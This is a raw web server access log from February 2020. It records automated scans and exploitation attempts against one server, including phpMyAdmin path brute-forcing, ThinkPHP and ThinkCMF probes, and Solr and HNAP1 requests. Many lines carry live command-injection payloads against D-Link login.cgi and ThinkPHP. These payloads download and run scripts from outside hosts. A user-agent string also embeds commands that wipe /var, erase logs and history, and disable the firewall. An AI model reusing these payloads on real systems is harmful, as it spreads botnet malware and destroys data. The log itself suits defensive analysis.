111.230.249.181 - - [21/Feb/2020:03:17:23 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:23 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:23 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:23 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:23 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:24 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:24 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:24 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:25 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:26 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:27 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:27 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:27 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:27 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:27 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:28 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:28 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:28 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:30 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:30 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:31 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:31 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:31 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:31 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:31 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:32 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:32 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:32 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:33 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:34 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:35 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:35 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:35 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:35 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:35 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:36 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:36 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:36 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:37 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:38 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:39 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:39 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:39 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:39 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:39 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:40 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:40 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:40 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:41 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:42 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:42 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:43 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:43 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:43 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:44 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:44 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
111.230.249.181 - - [21/Feb/2020:03:17:44 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
103.12.163.67 - - [21/Feb/2020:03:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
197.232.70.212 - - [21/Feb/2020:03:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
117.206.139.253 - - [21/Feb/2020:03:20:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [21/Feb/2020:03:30:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
188.120.138.34 - - [21/Feb/2020:03:31:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [21/Feb/2020:03:31:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
152.136.157.215 - - [21/Feb/2020:03:33:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [21/Feb/2020:03:33:14 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:33:15 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:34:40 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:34:48 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:34:49 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:36:17 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
73.32.140.239 - - [21/Feb/2020:03:37:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
98.28.219.23 - - [21/Feb/2020:03:43:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.101.0.209 - - [21/Feb/2020:03:43:30 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
171.100.12.210 - - [21/Feb/2020:03:44:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
81.214.220.73 - - [21/Feb/2020:03:47:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [21/Feb/2020:03:47:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:47:23 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
190.45.22.73 - - [21/Feb/2020:03:48:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [21/Feb/2020:03:49:14 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:55:38 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:03:56:07 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
152.136.157.215 - - [21/Feb/2020:03:58:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [21/Feb/2020:04:00:07 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:04:00:10 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:04:00:37 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:04:00:40 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:04:02:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:04:02:52 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
81.180.86.47 - - [21/Feb/2020:04:07:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.17.144.106 - - [21/Feb/2020:04:08:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.17.144.106 - - [21/Feb/2020:04:08:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.233.123.135 - - [21/Feb/2020:04:09:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
223.149.54.31 - - [21/Feb/2020:04:16:09 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
178.221.22.34 - - [21/Feb/2020:04:17:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
112.85.4.253 - - [21/Feb/2020:04:18:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [21/Feb/2020:04:18:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [21/Feb/2020:04:18:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [21/Feb/2020:04:18:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [21/Feb/2020:04:18:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [21/Feb/2020:04:19:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
73.32.140.239 - - [21/Feb/2020:04:19:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
95.9.47.242 - - [21/Feb/2020:04:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
152.136.157.215 - - [21/Feb/2020:04:30:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
223.197.136.82 - - [21/Feb/2020:04:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
176.113.161.111 - - [21/Feb/2020:04:35:19 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
47.89.192.12 - - [21/Feb/2020:04:36:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
51.254.59.113 - - [21/Feb/2020:04:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
61.144.244.32 - - [21/Feb/2020:04:49:08 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
61.144.244.32 - - [21/Feb/2020:04:49:10 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
175.172.117.170 - - [21/Feb/2020:04:51:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
89.248.171.97 - - [21/Feb/2020:04:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [21/Feb/2020:04:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
176.106.24.250 - - [21/Feb/2020:05:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
71.6.158.166 - - [21/Feb/2020:05:09:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.158.166 - - [21/Feb/2020:05:09:57 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.158.166 - - [21/Feb/2020:05:09:57 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.158.166 - - [21/Feb/2020:05:09:57 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.158.166 - - [21/Feb/2020:05:09:58 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
92.45.192.156 - - [21/Feb/2020:05:19:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
101.128.84.90 - - [21/Feb/2020:05:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
